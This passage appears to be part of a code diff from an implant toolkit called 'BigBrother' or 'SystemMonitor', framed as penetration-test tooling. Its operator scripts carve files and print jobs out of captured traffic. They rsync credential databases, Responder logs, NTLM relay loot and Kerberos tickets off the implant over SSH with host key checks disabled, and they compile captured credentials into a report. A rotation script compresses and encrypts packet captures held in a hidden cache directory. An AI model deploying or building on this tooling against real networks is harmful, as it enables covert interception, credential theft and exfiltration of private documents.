mkdir -p "$smb_dir"
tshark -r "$pcap" --export-objects "smb,$smb_dir" 2>/dev/null || true
count=$(find "$smb_dir" -type f 2>/dev/null | wc -l)
SMB_COUNT=$((SMB_COUNT + count))
echo -e " ${GREEN}Found $count SMB objects${NC}"
# FTP data streams
echo -e " Extracting FTP data..."
ftp_dir="$OUTPUT_DIR/ftp/${basename_pcap%.pcap*}"
mkdir -p "$ftp_dir"
tshark -r "$pcap" --export-objects "ftp-data,$ftp_dir" 2>/dev/null || true
count=$(find "$ftp_dir" -type f 2>/dev/null | wc -l)
FTP_COUNT=$((FTP_COUNT + count))
echo -e " ${GREEN}Found $count FTP objects${NC}"
# TFTP transfers
echo -e " Extracting TFTP data..."
tftp_dir="$OUTPUT_DIR/tftp/${basename_pcap%.pcap*}"
mkdir -p "$tftp_dir"
tshark -r "$pcap" --export-objects "tftp,$tftp_dir" 2>/dev/null || true
# IMF (email) objects
echo -e " Extracting email objects..."
imf_dir="$OUTPUT_DIR/imf/${basename_pcap%.pcap*}"
mkdir -p "$imf_dir"
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
echo ""
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
if [[ $PCAP_COUNT -eq 0 ]]; then
echo -e "${RED}[-] No PCAP files found in $PCAP_DIR${NC}"
exit 1
fi
TOTAL=$(find "$OUTPUT_DIR" -type f ! -name "*.md" 2>/dev/null | wc -l)
echo -e "${GREEN}[+] Extraction complete${NC}"
echo -e " PCAPs processed: ${PCAP_COUNT}"
echo -e " Total files: ${TOTAL}"
echo -e " HTTP objects: ${HTTP_COUNT}"
echo -e " SMB objects: ${SMB_COUNT}"
echo -e " FTP objects: ${FTP_COUNT}"
echo ""
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
echo ""
echo -e "${CYAN}[*] Review extracted files for sensitive data:${NC}"
echo " - Documents: find $OUTPUT_DIR -name '*.doc*' -o -name '*.pdf' -o -name '*.xls*'"
echo " - Config: find $OUTPUT_DIR -name '*.conf' -o -name '*.ini' -o -name '*.xml'"
echo " - Scripts: find $OUTPUT_DIR -name '*.ps1' -o -name '*.bat' -o -name '*.sh'"
+152
View File
@@ -0,0 +1,152 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Print Jobs from PCAPs
#
# Reconstructs print jobs from TCP/9100 (JetDirect/RAW) traffic captured
# in PCAPs. Converts PCL/PostScript to PDF using Ghostscript.
#
# Print traffic is often unencrypted and contains sensitive documents:
# HR letters, financial reports, legal docs, network diagrams, etc.
#
# Usage: ./extract_print_jobs.sh <pcap_dir> [output_dir]
#
# Requires: tshark, ghostscript (gs)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/print-jobs-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
# Check dependencies
for tool in tshark gs; do
if ! command -v "$tool" &>/dev/null; then
echo -e "${RED}[-] $tool not found${NC}"
case "$tool" in
tshark) echo " Install with: apt install tshark" ;;
gs) echo " Install with: apt install ghostscript" ;;
esac
exit 1
fi
done
mkdir -p "$OUTPUT_DIR"/{raw,pdf,metadata}
echo -e "${CYAN}[*] BigBrother Print Job Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract print streams from PCAPs
# ---------------------------------------------------------------------------
JOB_COUNT=0
PDF_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
# Check if this PCAP has any port 9100 traffic
has_print=$(tshark -r "$pcap" -Y "tcp.port == 9100" -c 1 2>/dev/null | wc -l)
if [[ "$has_print" -eq 0 ]]; then
echo -e " (no print traffic)"
continue
fi
# Extract TCP streams on port 9100
# Get unique stream indices for print traffic
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 9100 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams; do
JOB_COUNT=$((JOB_COUNT + 1))
raw_file="$OUTPUT_DIR/raw/job_${JOB_COUNT}_stream${stream_id}.raw"
pdf_file="$OUTPUT_DIR/pdf/job_${JOB_COUNT}_stream${stream_id}.pdf"
meta_file="$OUTPUT_DIR/metadata/job_${JOB_COUNT}.txt"
# Extract the raw print data from the TCP stream
tshark -r "$pcap" -q -z "follow,tcp,raw,${stream_id}" 2>/dev/null | \
grep -E '^[0-9a-fA-F]+$' | xxd -r -p > "$raw_file" 2>/dev/null || true
if [[ ! -s "$raw_file" ]]; then
rm -f "$raw_file"
JOB_COUNT=$((JOB_COUNT - 1))
continue
fi
file_size=$(stat -c %s "$raw_file" 2>/dev/null || echo 0)
echo -e " Stream $stream_id: ${file_size} bytes"
# Record metadata (source/dest IPs, timestamps)
tshark -r "$pcap" -Y "tcp.stream == ${stream_id}" -c 1 \
-T fields -e ip.src -e ip.dst -e frame.time 2>/dev/null > "$meta_file" || true
echo "Raw file: $raw_file" >> "$meta_file"
echo "Size: $file_size bytes" >> "$meta_file"
# Detect format and convert to PDF
file_magic=$(head -c 20 "$raw_file" | cat -v 2>/dev/null || echo "")
if echo "$file_magic" | grep -q "%!PS\|%PDF\|^-E"; then
# PostScript or PDF — convert with Ghostscript
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
"$raw_file" 2>/dev/null && {
PDF_COUNT=$((PDF_COUNT + 1))
echo -e " ${GREEN}Converted to PDF: $(basename $pdf_file)${NC}"
} || {
echo -e " ${RED}Ghostscript conversion failed${NC}"
}
elif echo "$file_magic" | grep -qi "^.E.*HP\|PCL\|PJL"; then
# PCL/PJL — try Ghostscript PCL interpreter
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
"$raw_file" 2>/dev/null && {
PDF_COUNT=$((PDF_COUNT + 1))
echo -e " ${GREEN}Converted PCL to PDF: $(basename $pdf_file)${NC}"
} || {
echo -e " ${YELLOW}PCL conversion failed (raw data preserved)${NC}"
}
else
echo -e " ${YELLOW}Unknown format — raw data preserved${NC}"
echo "Format: unknown (magic: $(head -c 10 "$raw_file" | xxd -p 2>/dev/null))" >> "$meta_file"
fi
done
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Print job extraction complete${NC}"
echo -e " Print jobs found: ${JOB_COUNT}"
echo -e " Converted to PDF: ${PDF_COUNT}"
echo ""
if [[ $JOB_COUNT -gt 0 ]]; then
echo -e "${CYAN}[*] Output:${NC}"
echo " Raw data: $OUTPUT_DIR/raw/"
echo " PDFs: $OUTPUT_DIR/pdf/"
echo " Metadata: $OUTPUT_DIR/metadata/"
echo ""
ls -lhS "$OUTPUT_DIR/pdf/" 2>/dev/null | tail -20 | sed 's/^/ /'
fi
+509
View File
@@ -0,0 +1,509 @@
#!/usr/bin/env python3
"""SystemMonitor Operator Script — Generate Engagement Report.
Pulls data from SQLite databases synced from the implant and generates
a structured engagement report in both Markdown and HTML formats.
Sections:
1. Executive Summary
2. Network Topology & Host Inventory
3. Captured Credentials
4. DNS Intelligence
5. Traffic Analysis
6. Timeline of Events
7. Recommendations
Usage:
python3 generate_report.py <data_dir> [--output <path>] [--title <title>]
Examples:
python3 generate_report.py ./bb-pull-20240115
python3 generate_report.py ./bb-pull-20240115 --title "ACME Corp Assessment"
"""
import argparse
import json
import os
import sqlite3
import sys
import time
from collections import Counter, defaultdict
from datetime import datetime, timezone
from pathlib import Path
# ---------------------------------------------------------------------------
# Database helpers
# ---------------------------------------------------------------------------
def connect_db(db_path):
"""Connect to a SQLite database if it exists."""
if not os.path.isfile(db_path):
return None
try:
conn = sqlite3.connect(db_path)
conn.row_factory = sqlite3.Row
return conn
except Exception:
return None
def safe_query(conn, sql, params=None):
"""Execute a query, returning empty list on error."""
if conn is None:
return []
try:
cursor = conn.execute(sql, params or ())
return cursor.fetchall()
except Exception:
return []
# ---------------------------------------------------------------------------
# Data collection
# ---------------------------------------------------------------------------
def collect_credentials(data_dir):
"""Collect credentials from credential database and Responder logs."""
creds = []
# From credential DB
conn = connect_db(os.path.join(data_dir, "databases", "credentials.db"))
if conn:
rows = safe_query(conn, """
SELECT timestamp, source_ip, target_ip, target_service,
username, domain, credential_type, hashcat_mode
FROM credentials
ORDER BY timestamp
""")
for r in rows:
creds.append({
"timestamp": r["timestamp"],
"source_ip": r["source_ip"] or "",
"target_ip": r["target_ip"] or "",
"service": r["target_service"] or "",
"username": r["username"] or "",
"domain": r["domain"] or "",
"type": r["credential_type"] or "",
"hashcat_mode": r["hashcat_mode"],
})
conn.close()
return creds
def collect_hosts(data_dir):
"""Collect host inventory from state database."""
hosts = []
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
if conn:
rows = safe_query(conn, """
SELECT key, value FROM kv_store
WHERE module = 'host_discovery'
""")
for r in rows:
try:
host_data = json.loads(r["value"])
if isinstance(host_data, dict):
hosts.append(host_data)
except (json.JSONDecodeError, TypeError):
pass
conn.close()
# Also check topology DB
conn = connect_db(os.path.join(data_dir, "databases", "topology.db"))
if conn:
rows = safe_query(conn, """
SELECT ip, mac, hostname, os, vendor, first_seen, last_seen
FROM hosts
ORDER BY ip
""")
for r in rows:
hosts.append({
"ip": r["ip"],
"mac": r["mac"] or "",
"hostname": r["hostname"] or "",
"os": r["os"] or "",
"vendor": r["vendor"] or "",
"first_seen": r["first_seen"],
"last_seen": r["last_seen"],
})
conn.close()
return hosts
def collect_dns_stats(data_dir):
"""Collect DNS query statistics."""
stats = {"total_queries": 0, "top_domains": [], "top_queriers": [], "doh_count": 0}
conn = connect_db(os.path.join(data_dir, "databases", "dns_queries.db"))
if not conn:
return stats
# Total queries
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries")
stats["total_queries"] = rows[0]["cnt"] if rows else 0
# DoH detections
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries WHERE is_doh = 1")
stats["doh_count"] = rows[0]["cnt"] if rows else 0
# Top queried domains
rows = safe_query(conn, """
SELECT domain, COUNT(*) as cnt
FROM dns_queries WHERE is_doh = 0
GROUP BY domain ORDER BY cnt DESC LIMIT 20
""")
stats["top_domains"] = [(r["domain"], r["cnt"]) for r in rows]
# Top querier IPs
rows = safe_query(conn, """
SELECT source_ip, COUNT(*) as cnt
FROM dns_queries WHERE is_doh = 0
GROUP BY source_ip ORDER BY cnt DESC LIMIT 15
""")
stats["top_queriers"] = [(r["source_ip"], r["cnt"]) for r in rows]
conn.close()
return stats
def collect_module_status(data_dir):
"""Collect module runtime status."""
modules = {}
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
if conn:
rows = safe_query(conn, """
SELECT module, status, started, updated
FROM module_status
""")
for r in rows:
modules[r["module"]] = {
"status": r["status"],
"started": r["started"],
"updated": r["updated"],
}
conn.close()
return modules
# ---------------------------------------------------------------------------
# Report generation
# ---------------------------------------------------------------------------
def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
"""Generate Markdown report."""
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
lines = []
def add(text=""):
lines.append(text)
# Header
add(f"# {title}")
add(f"\n**Generated:** {now}")
add(f"**Data Source:** `{os.path.abspath(data_dir)}`\n")
add("---\n")
# Executive Summary
add("## 1. Executive Summary\n")
add(f"- **Hosts Discovered:** {len(hosts)}")
add(f"- **Credentials Captured:** {len(creds)}")
cred_types = Counter(c["type"] for c in creds)
for ctype, count in cred_types.most_common():
add(f" - {ctype}: {count}")
unique_users = len(set(c["username"] for c in creds if c["username"]))
add(f"- **Unique Users:** {unique_users}")
add(f"- **DNS Queries Logged:** {dns_stats['total_queries']:,}")
add(f"- **DoH Blind Spots:** {dns_stats['doh_count']}")
add(f"- **Modules Active:** {sum(1 for m in modules.values() if m['status'] == 'running')}")
add("")
# Host Inventory
add("## 2. Network Topology & Host Inventory\n")
if hosts:
add("| IP | MAC | Hostname | OS | Vendor |")
add("|---|---|---|---|---|")
for h in hosts[:100]: # Cap at 100 for readability
add(f"| {h.get('ip', '')} | {h.get('mac', '')} | {h.get('hostname', '')} "
f"| {h.get('os', '')} | {h.get('vendor', '')} |")
if len(hosts) > 100:
add(f"\n*({len(hosts)} total hosts — showing first 100)*\n")
else:
add("*No host data available.*\n")
# Credentials
add("\n## 3. Captured Credentials\n")
if creds:
add("| Time | User | Domain | Service | Type |")
add("|---|---|---|---|---|")
for c in creds[:50]:
ts = ""
if c.get("timestamp"):
try:
ts = datetime.fromtimestamp(c["timestamp"], tz=timezone.utc).strftime("%Y-%m-%d %H:%M")
except Exception:
pass
add(f"| {ts} | {c['username']} | {c['domain']} | {c['service']} | {c['type']} |")
if len(creds) > 50:
add(f"\n*({len(creds)} total credentials — showing first 50)*\n")
add("\n### Credential Summary by Type\n")
for ctype, count in cred_types.most_common():
add(f"- **{ctype}**: {count}")
add("\n### Unique Users by Service\n")
service_users = defaultdict(set)
for c in creds:
if c["username"]:
service_users[c["service"]].add(c["username"])
for svc, users in sorted(service_users.items()):
add(f"- **{svc}**: {', '.join(sorted(users)[:10])}"
+ (f" (+{len(users)-10} more)" if len(users) > 10 else ""))
else:
add("*No credentials captured.*\n")
# DNS Intelligence
add("\n## 4. DNS Intelligence\n")
add(f"- **Total Queries:** {dns_stats['total_queries']:,}")
add(f"- **DoH Detections (blind spots):** {dns_stats['doh_count']}\n")
if dns_stats["top_domains"]:
add("### Top Queried Domains\n")
add("| Domain | Queries |")
add("|---|---|")
for domain, count in dns_stats["top_domains"]:
add(f"| {domain} | {count:,} |")
if dns_stats["top_queriers"]:
add("\n### Top DNS Clients\n")
add("| IP | Queries |")
add("|---|---|")
for ip, count in dns_stats["top_queriers"]:
add(f"| {ip} | {count:,} |")
# Module Status
add("\n## 5. Module Status\n")
if modules:
add("| Module | Status | Started |")
add("|---|---|---|")
for name, info in sorted(modules.items()):
started = ""
if info.get("started"):
try:
started = datetime.fromtimestamp(
info["started"], tz=timezone.utc
).strftime("%Y-%m-%d %H:%M")
except Exception:
pass
add(f"| {name} | {info['status']} | {started} |")
else:
add("*No module status data available.*\n")
# Recommendations
add("\n## 6. Recommendations\n")
add("1. **Credential Analysis**: Run `crack_hashes.sh` against captured NTLMv2 hashes")
add("2. **File Extraction**: Run `extract_files.sh` on PCAPs for document recovery")
add("3. **Print Jobs**: Check for print traffic with `extract_print_jobs.sh`")
add("4. **Email Analysis**: Run `extract_emails.sh` for SMTP traffic recovery")
add("5. **Offline Analysis**: Run Zeek against PCAPs for deep protocol analysis")
add("")
add("---\n")
add(f"*Report generated by SystemMonitor operator tooling — {now}*")
return "\n".join(lines)
def markdown_to_html(markdown_text, title):
"""Convert Markdown report to standalone HTML."""
# Simple Markdown-to-HTML conversion (no external deps)
html_lines = []
in_table = False
in_list = False
html_lines.append(f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{title}</title>
<style>
body{{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;max-width:1000px;margin:0 auto;padding:40px 20px;color:#1d1d1f;line-height:1.6;background:#fafafa}}
h1{{color:#1a1a2e;border-bottom:3px solid #0066cc;padding-bottom:12px}}
h2{{color:#16213e;margin-top:32px;border-bottom:1px solid #ddd;padding-bottom:8px}}
h3{{color:#333;margin-top:20px}}
table{{border-collapse:collapse;width:100%;margin:12px 0;font-size:14px}}
th,td{{border:1px solid #ddd;padding:8px 12px;text-align:left}}
th{{background:#f0f2f5;font-weight:600}}
tr:nth-child(even){{background:#f9f9f9}}
tr:hover{{background:#f0f2f5}}
code{{background:#f0f2f5;padding:2px 6px;border-radius:4px;font-size:13px}}
hr{{border:none;border-top:1px solid #ddd;margin:24px 0}}
ul{{margin:8px 0}}
li{{margin:4px 0}}
strong{{color:#1a1a2e}}
em{{color:#666}}
</style>
</head>
<body>
""")
for line in markdown_text.split("\n"):
stripped = line.strip()
# Headings
if stripped.startswith("# "):
if in_table:
html_lines.append("</table>")
in_table = False
level = len(stripped) - len(stripped.lstrip("#"))
text = stripped.lstrip("# ").strip()
html_lines.append(f"<h{level}>{_inline_format(text)}</h{level}>")
continue
# Horizontal rule
if stripped == "---":
if in_table:
html_lines.append("</table>")
in_table = False
html_lines.append("<hr>")
continue
# Table
if "|" in stripped and stripped.startswith("|"):
cells = [c.strip() for c in stripped.split("|")[1:-1]]
if all(c.replace("-", "").replace(":", "") == "" for c in cells):
continue # Skip separator row
if not in_table:
html_lines.append("<table>")
in_table = True
tag = "th"
else:
tag = "td"
row = "".join(f"<{tag}>{_inline_format(c)}</{tag}>" for c in cells)
html_lines.append(f"<tr>{row}</tr>")
continue
if in_table and not stripped.startswith("|"):
html_lines.append("</table>")
in_table = False
# List items
if stripped.startswith("- ") or stripped.startswith("* "):
if not in_list:
html_lines.append("<ul>")
in_list = True
text = stripped[2:].strip()
html_lines.append(f"<li>{_inline_format(text)}</li>")
continue
elif stripped.startswith(tuple(f"{i}. " for i in range(1, 20))):
if not in_list:
html_lines.append("<ol>")
in_list = True
text = stripped.split(". ", 1)[1] if ". " in stripped else stripped
html_lines.append(f"<li>{_inline_format(text)}</li>")
continue
if in_list and not stripped.startswith(("-", "*")) and not stripped[:2].rstrip(".").isdigit():
html_lines.append("</ul>" if in_list else "</ol>")
in_list = False
# Empty line
if not stripped:
continue
# Paragraph
html_lines.append(f"<p>{_inline_format(stripped)}</p>")
if in_table:
html_lines.append("</table>")
if in_list:
html_lines.append("</ul>")
html_lines.append("</body></html>")
return "\n".join(html_lines)
def _inline_format(text):
"""Apply inline Markdown formatting (bold, code, italic)."""
import re
text = re.sub(r"\*\*(.+?)\*\*", r"<strong>\1</strong>", text)
text = re.sub(r"`(.+?)`", r"<code>\1</code>", text)
text = re.sub(r"\*(.+?)\*", r"<em>\1</em>", text)
return text
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(
description="Generate SystemMonitor engagement report from synced data."
)
parser.add_argument("data_dir", help="Path to pulled data directory")
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
parser.add_argument("--title", "-t", default="SystemMonitor Engagement Report",
help="Report title")
args = parser.parse_args()
data_dir = args.data_dir
output_dir = args.output or os.path.join(data_dir, "report")
if not os.path.isdir(data_dir):
print(f"[-] Data directory not found: {data_dir}", file=sys.stderr)
sys.exit(1)
os.makedirs(output_dir, exist_ok=True)
print(f"[*] Generating report: {args.title}")
print(f" Data: {os.path.abspath(data_dir)}")
print(f" Output: {os.path.abspath(output_dir)}")
print()
# Collect data
print("[*] Collecting credentials...")
creds = collect_credentials(data_dir)
print(f" Found {len(creds)} credentials")
print("[*] Collecting host inventory...")
hosts = collect_hosts(data_dir)
print(f" Found {len(hosts)} hosts")
print("[*] Collecting DNS statistics...")
dns_stats = collect_dns_stats(data_dir)
print(f" {dns_stats['total_queries']:,} queries logged")
print("[*] Collecting module status...")
modules = collect_module_status(data_dir)
print(f" {len(modules)} modules tracked")
print()
# Generate Markdown
print("[*] Generating Markdown report...")
md_report = generate_markdown(data_dir, args.title, creds, hosts, dns_stats, modules)
md_path = os.path.join(output_dir, "report.md")
with open(md_path, "w") as f:
f.write(md_report)
print(f" Saved: {md_path}")
# Generate HTML
print("[*] Generating HTML report...")
html_report = markdown_to_html(md_report, args.title)
html_path = os.path.join(output_dir, "report.html")
with open(html_path, "w") as f:
f.write(html_report)
print(f" Saved: {html_path}")
print()
print(f"[+] Report generation complete")
print(f" Markdown: {md_path}")
print(f" HTML: {html_path}")
if __name__ == "__main__":
main()
+138
View File
@@ -0,0 +1,138 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Pull Data from Implant
#
# Syncs structured data from the implant over WireGuard or Tailscale
# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and
# all collected intelligence data.
#
# Usage: ./pull_data.sh <implant_host> [output_dir]
#
# Examples:
# ./pull_data.sh bb-implant-01 # Tailscale hostname
# ./pull_data.sh 100.64.0.5 /opt/engagements/acme
# ./pull_data.sh 10.8.0.2 ~/cases/case-001 # WireGuard IP
#
# Requires: rsync, ssh, Tailscale or WireGuard connectivity
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
IMPLANT="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}"
SSH_USER="${BB_SSH_USER:-root}"
SSH_KEY="${BB_SSH_KEY:-}"
BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}"
if [[ -z "$IMPLANT" ]]; then
echo -e "${RED}Usage: $0 <implant_host> [output_dir]${NC}"
echo ""
echo "Environment variables:"
echo " BB_SSH_USER SSH user (default: root)"
echo " BB_SSH_KEY SSH private key path"
echo " BB_DATA_DIR BigBrother data dir on implant (default: /root/.bigbrother)"
exit 1
fi
SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10"
if [[ -n "$SSH_KEY" ]]; then
SSH_OPTS="$SSH_OPTS -i $SSH_KEY"
fi
# ---------------------------------------------------------------------------
# Pre-flight
# ---------------------------------------------------------------------------
echo -e "${CYAN}[*] BigBrother Data Pull${NC}"
echo -e " Implant: ${IMPLANT}"
echo -e " Output: ${OUTPUT_DIR}"
echo -e " SSH User: ${SSH_USER}"
echo ""
# Test connectivity
echo -e "${YELLOW}[*] Testing connectivity...${NC}"
if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then
echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}"
exit 1
fi
echo -e "${GREEN}[+] Connected to $IMPLANT${NC}"
# Create output directory structure
mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot}
# ---------------------------------------------------------------------------
# Pull data
# ---------------------------------------------------------------------------
RSYNC_OPTS="-avz --progress --compress-level=9"
if [[ -n "$SSH_KEY" ]]; then
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'"
else
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'"
fi
pull_file() {
local remote_path="$1"
local local_dir="$2"
local description="$3"
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \
echo -e " ${RED}(not found or empty)${NC}"
}
pull_dir() {
local remote_path="$1"
local local_dir="$2"
local description="$3"
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \
echo -e " ${RED}(not found or empty)${NC}"
}
# SQLite databases
pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database"
pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database"
pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database"
pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database"
pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database"
pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database"
# PCAPs
pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files"
# Credential data
pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs"
pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot"
pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows"
# Intelligence data
pull_dir "$BB_DATA_DIR/topology" "$OUTPUT_DIR/topology" "topology maps"
pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data"
# Config (for reference)
pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration"
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Data pull complete${NC}"
echo -e " Location: ${OUTPUT_DIR}"
echo ""
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
echo ""
echo -e "${CYAN}[*] Next steps:${NC}"
echo " 1. Run extract_files.sh on PCAPs for file carving"
echo " 2. Run crack_hashes.sh to crack captured hashes"
echo " 3. Run generate_report.py for engagement report"
+108
View File
@@ -0,0 +1,108 @@
#!/usr/bin/env bash
# Post-rotation handler for tcpdump -z
# Compresses rotated PCAP with zstd, optionally encrypts with AES-256-GCM
#
# Called by tcpdump like: tcpdump -z /opt/.cache/bb/scripts/rotate_pcap.sh
# tcpdump passes the completed PCAP filename as $1
#
# Environment variables:
# ZSTD_LEVEL - Compression level (default: 19, jumpbox: 3)
# BB_ENCRYPT - Set to "1" to encrypt after compression
# BB_KEY_FILE - Path to encryption key file (required if BB_ENCRYPT=1)
# BB_VENV - Path to Python venv (for encryption via crypto module)
# BB_MAX_PCAP_PCT - Max disk usage percent before purge (default: 85)
set -euo pipefail
PCAP="$1"
ZSTD_LEVEL="${ZSTD_LEVEL:-19}"
BB_ENCRYPT="${BB_ENCRYPT:-0}"
BB_KEY_FILE="${BB_KEY_FILE:-}"
BB_VENV="${BB_VENV:-/opt/.cache/bb/.venv}"
BB_MAX_PCAP_PCT="${BB_MAX_PCAP_PCT:-85}"
PCAP_DIR="$(dirname "$PCAP")"
# Logging (silent by default, tcpdump -z doesn't have a tty)
log() {
logger -t "bb-pcap-rotate" "$*" 2>/dev/null || true
}
# Verify input file exists and is non-empty
if [[ ! -f "$PCAP" ]]; then
log "ERROR: PCAP file not found: $PCAP"
exit 0 # Exit 0 so tcpdump doesn't complain
fi
if [[ ! -s "$PCAP" ]]; then
log "WARNING: Empty PCAP file, removing: $PCAP"
rm -f "$PCAP"
exit 0
fi
PCAP_SIZE=$(stat -c '%s' "$PCAP" 2>/dev/null || echo 0)
log "Rotating PCAP: $PCAP ($PCAP_SIZE bytes, zstd -${ZSTD_LEVEL})"
# ── Disk space check ───────────────────────────────────────────────────────
check_disk_space() {
local usage
usage=$(df --output=pcent "$PCAP_DIR" 2>/dev/null | tail -1 | tr -d '% ')
if [[ -n "$usage" ]] && [[ "$usage" -ge "$BB_MAX_PCAP_PCT" ]]; then
log "WARNING: Disk usage ${usage}% >= ${BB_MAX_PCAP_PCT}%, purging oldest PCAPs"
# Delete oldest compressed PCAPs first, then oldest raw
local oldest
oldest=$(find "$PCAP_DIR" -name '*.pcap.zst*' -type f -printf '%T+ %p\n' 2>/dev/null \
| sort | head -5 | awk '{print $2}')
for f in $oldest; do
log "Purging: $f"
rm -f "$f"
done
fi
}
check_disk_space
# ── Compress with zstd ─────────────────────────────────────────────────────
COMPRESSED="${PCAP}.zst"
if command -v zstd &>/dev/null; then
zstd "-${ZSTD_LEVEL}" --rm -q "$PCAP" -o "$COMPRESSED" 2>/dev/null
if [[ -f "$COMPRESSED" ]]; then
COMP_SIZE=$(stat -c '%s' "$COMPRESSED" 2>/dev/null || echo 0)
log "Compressed: ${PCAP_SIZE} -> ${COMP_SIZE} bytes (zstd -${ZSTD_LEVEL})"
else
log "ERROR: zstd compression failed for $PCAP"
exit 0
fi
else
log "ERROR: zstd not found, leaving PCAP uncompressed"
exit 0
fi
# ── Encrypt (optional) ────────────────────────────────────────────────────
if [[ "$BB_ENCRYPT" == "1" ]] && [[ -n "$BB_KEY_FILE" ]] && [[ -f "$BB_KEY_FILE" ]]; then
ENCRYPTED="${COMPRESSED}.enc"
if [[ -f "${BB_VENV}/bin/python3" ]]; then
"${BB_VENV}/bin/python3" -c "
import sys
sys.path.insert(0, '$(dirname "$(dirname "$0")")')
from utils.crypto import encrypt_file
encrypt_file('${COMPRESSED}', '${ENCRYPTED}',
open('${BB_KEY_FILE}', 'rb').read().strip())
" 2>/dev/null
if [[ -f "$ENCRYPTED" ]]; then
rm -f "$COMPRESSED"
ENC_SIZE=$(stat -c '%s' "$ENCRYPTED" 2>/dev/null || echo 0)
log "Encrypted: ${COMPRESSED} -> ${ENCRYPTED} (${ENC_SIZE} bytes)"
else
log "WARNING: Encryption failed, keeping compressed file"
fi
else
log "WARNING: Python venv not found at ${BB_VENV}, skipping encryption"
fi
fi
# ── Restrictive permissions ────────────────────────────────────────────────
chmod 600 "${PCAP_DIR}"/*.zst* 2>/dev/null || true
log "PCAP rotation complete"
+114
View File
@@ -0,0 +1,114 @@
#!/usr/bin/env python3
"""Standalone resource monitor daemon for bigbrother-watchdog.service.
Runs periodic memory/disk/thermal checks independently of the main BB engine.
Logs warnings and kills the lowest-priority BB process on OOM.
"""
import logging
import os
import signal
import sys
import threading
import time
# Ensure /opt/.cache/bb is on the path when run from the service
